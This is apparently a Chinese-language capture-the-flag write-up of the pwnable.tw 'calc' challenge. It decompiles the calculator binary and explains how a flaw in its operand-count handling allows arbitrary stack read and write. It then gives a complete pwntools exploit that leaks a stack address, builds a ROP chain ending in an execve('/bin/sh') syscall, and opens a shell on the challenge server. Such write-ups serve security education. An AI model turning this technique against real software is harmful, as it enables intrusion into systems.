pwnable.tw calc writeup

查看文件基本信息

1
2
3
4
5
6
7
v1cky@ubuntu:~/Desktop/pwnable/calc$ checksec calc.dms
[*] '/home/v1cky/Desktop/pwnable/calc/calc.dms'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

文件开启了canary保护和栈不可执行保护。32位程序

分析程序行为

1
2
3
4
5
6
7
8
v1cky@ubuntu:~/Desktop/pwnable/calc$ ./calc.dms
=== Welcome to SECPROG calculator ===
1+1
2
+1
1
asd
Merry Christmas!

就是一个计算器,输入如何不是数字或者运算符,程序退出。

IDA分析代码逻辑

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
ssignal(14, timeout);
alarm(60);
puts("=== Welcome to SECPROG calculator ===");
fflush(stdout);
calc();
return puts("Merry Christmas!");
}

前面是个定时器,重点在于calc函数。继续跟进calc函数,查看代码逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned int calc()
{
int pool; // [esp+18h] [ebp-5A0h]
int v2[100]; // [esp+1Ch] [ebp-59Ch]
char s; // [esp+1ACh] [ebp-40Ch]
unsigned int v4; // [esp+5ACh] [ebp-Ch]

v4 = __readgsdword(0x14u);
while ( 1 )
{
bzero(&s, 0x400u);
if ( !get_expr((int)&s, 1024) )//获取输入,并且判断是不是数字和运算符,否则退出
break;
init_pool(&pool);
if ( parse_expr((int)&s, &pool) )
{
printf((const char *)&unk_80BF804, v2[pool - 1]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v4;
}
  1. get_expr()函数的作用是获取输入,并且过滤掉输入中不是数字和运算符的字符,并保存数字和运算符在字符串s中,长度限制在1024.
  2. pool存放表达式中的数字并且存放最终计算的结果。
  3. parse_expr()是解析表达式的函数。继续跟进分析。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
signed int __cdecl parse_expr(int expr, _DWORD *num_pool)
{
int v2; // ST2C_4
int v4; // eax
int pre_ptr; // [esp+20h] [ebp-88h] //记录上次遍历的位置
int i; // [esp+24h] [ebp-84h]
int num_Operator; // [esp+28h] [ebp-80h]
char *temp_number; // [esp+30h] [ebp-78h]
int number; // [esp+34h] [ebp-74h] //保存当前遇到的数字
char operater[100]; // [esp+38h] [ebp-70h]
unsigned int v11; // [esp+9Ch] [ebp-Ch]

v11 = __readgsdword(0x14u);
pre_ptr = expr;
num_Operator = 0;
bzero(operater, 0x64u);
for ( i = 0; ; ++i )
{
if ( (unsigned int)(*(char *)(i + expr) - '0') > 9 )
{
v2 = i + expr - pre_ptr;
temp_number = (char *)malloc(v2 + 1);
memcpy(temp_number, pre_ptr, v2);
temp_number[v2] = 0; // 保存遇到运算符之前的数字
if ( !strcmp(temp_number, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
number = atoi(temp_number);
if ( number > 0 )
{
v4 = (*num_pool)++; // num_pool中保存的是该表达式中的数字,而num_pool[0]存放的是数字的个数,没次得到一个数字,num_pool[0]++,
num_pool[v4 + 1] = number; // 首先得到当前数字的个数,然后加一,作为索引放置当前得到的数字
}
if ( *(_BYTE *)(i + expr) && (unsigned int)(*(char *)(i + 1 + expr) - '0') > 9 )
{
puts("expression error!");
fflush(stdout);
return 0;
}
pre_ptr = i + 1 + expr;
if ( operater[num_Operator] )
{
switch ( *(char *)(i + expr) )
{
case '%':
case '*':
case '/':
if ( operater[num_Operator] != '+' && operater[num_Operator] != '-' )
{
eval(num_pool, operater[num_Operator]);
operater[num_Operator] = *(_BYTE *)(i + expr);
}
else
{
operater[++num_Operator] = *(_BYTE *)(i + expr);
}
break;
case '+':
case '-':
eval(num_pool, operater[num_Operator]);
operater[num_Operator] = *(_BYTE *)(i + expr);
break;
default:
eval(num_pool, operater[num_Operator--]);
break;
}
}
else
{
operater[num_Operator] = *(_BYTE *)(i + expr);
}
if ( !*(_BYTE *)(i + expr) )
break;
}
}
while ( num_Operator >= 0 )
eval(num_pool, operater[num_Operator--]); // num_pool存放数字,operater存放运算符
return 1;
}
  1. if ( (unsigned int)((char )(i + expr) - ‘0’) > 9 ):该函数是一直从字符串表达式expr从头开始解析,直到遇到运算符,把之前的都看作是一个数字。该句代码就是判断当前字符是不是运算符。
  2. 接下来就是将遇到的数字保存到num_pool中,其中下面两句代码很关键:
    1. v4 = (*num_pool)++; // num_pool中保存的是该表达式中的数字,而num_pool[0]存放的是数字的个数,每次得到一个数字,num_pool[0]++,
    2. num_pool[v4 + 1] = number; // 首先得到当前数字的个数,然后加一,作为索引放置当前得到的数字
  3. 在往下走,就是 if ( operater[num_Operator] )判断语句。里面就是进行运算操作,但整个程序的最终运算实在eval()函数。继续跟进eval()函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
_DWORD *__cdecl eval(_DWORD *number, char operater)
{
_DWORD *result; // eax

if ( operater == '+' )
{
number[*number - 1] += number[*number];
}
else if ( operater > '+' )
{
if ( operater == '-' )
{
number[*number - 1] -= number[*number];
}
else if ( operater == '/' )
{
number[*number - 1] /= number[*number];
}
}
else if ( operater == '*' )
{
number[*number - 1] *= number[*number];
}
result = number;
--*number;
return result;
}
  1. number数组存放的是表达式中的所有数字,number[0]是所有数字的数量。operater数组存放的是运算符。

  2. 运算的逻辑是,每次读取一个运算符,取出number数组中最后两个数,计算后将数保存到number数组倒数第二位上,然后将number[0]减一。

  3. 这里存在一个问题,

    1. 若输入的表达式是’+100’,那么此时,number[0]=1,number[1]=100,计算之后

    number[0]=101,然后—*number,即最后number[0]=100,然后继续,输入表达式’+100+2’,由于第一次计算后number[0]=100,那么第二次计算就是number[number[0]-1] += number[1] ==> number[100] += number[1] ==> number[100] +=2,最后将结果保存在number[100]并输出,造成了栈上任意地址读写。

回到calc()函数,由于pool可控。

1
2
3
if ( parse_expr((int)&s, &pool) )
{
printf("%d", v2[pool - 1]); //pool就是存放数组的数字,即number数组
1
2
3
4
5
6
.text:080493ED                 call    parse_expr
.text:080493F2 test eax, eax
.text:080493F4 jz short loc_8049428
.text:080493F6 mov eax, [ebp+pool]
.text:080493FC sub eax, 1
.text:080493FF mov eax, [ebp+eax*4+var_59C]
  1. Mov eax,[ebp+pool]是数组的第一个值, mov eax, [ebp+eax*4+var_59C],然后将其减1再乘以4之后加上0x59c作为栈的偏移取值进行输出,通过前面部分我们知道这里的eax是我们可以控制的,因此到这里我们就能够在栈上任意读写了。
  2. init_pool中新开辟的空间保存操作数,开始位置保存操作数的个数;parse_expr新开辟的空间保存运算符;number[*number]保存最终结果。

利用过程

通过上面的分析,操作数字符串的起始位置在ebp+var_5A0处,函数栈如下所示:

addr stack
ebp+5A0 Pool(存放操作数个数,number[0])
ebp+59C v2(从此位置依次存放操作数)
…..
…..
ebp ebp
ebp-4 ret

计算pool到返回地址的距离:0x5A0+0x4 = 1444;1444/4 = 361,即number[361]保存函数返回地址。输入’+361’时返回值number[0]=361,下一次输入表达式即可修改number[361]处的值,也就是函数返回地址。比如下次输入’+361+1’,计算流程如下:

  1. v4 = number = 361;*number++;
  2. number[362] = 1;
  3. number[number[0]-1] += number[number[0]]==> number[361] += number[362];

所以我们需要连续修改number[361]之后的一段栈空间来构造ROP。

由于该程序是属于静态链接,不能用ret2libc思路来做,这里利用的思路是通过修改eax,ebx,ecx的值并通过Int 80进行系统调用getshell。最终的栈空间布置如下:

stack

由于我们需要知道字符串”/bin/sh”在栈中的地址而不是偏移。如图可以看到a2[360]可以泄露old ebp的地址,在mian函数的函数栈中,上一个函数调用栈的esp的值首先保存在ebp中,然后将esp&0fffffffh-0x10h得到main-esp也就是calc函数的返回地址,也就是a2[361]。

1
2
3
4
5
:08049452 ; __unwind {
.text:08049452 push ebp
.text:08049453 mov ebp, esp
.text:08049455 and esp, 0FFFFFFF0h
.text:08049458 sub esp, 10h

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

p=remote('chall.pwnable.tw',10100)
#p = process('./calc.dms')

keys=[0x0805c34b,0xb,0x080701d1,0,0,0x08049a21,u32('/bin'),u32('/sh\0')]

def leak_binsh_addr():
p.recv(1024)
p.sendline('+'+str(360))
ebp_addr = int(p.recv())
rsp_addr =((ebp_addr+0x100000000)&0xFFFFFFF0)-16
binsh_addr = rsp_addr+20-0x100000000
return binsh_addr

keys[4] = leak_binsh_addr()

def write_stack(addr,content):
p.sendline('+'+str(addr))
recv = int(p.recv())
if content < recv:
recv = recv - content
p.sendline('+'+str(addr)+'-'+str(recv))

else:
recv = content-recv
p.sendline('+'+str(addr)+'+'+str(recv))

p.recv()


for i in range(8):
write_stack(361+i,keys[i])

p.sendline('bye\n')
p.interactive()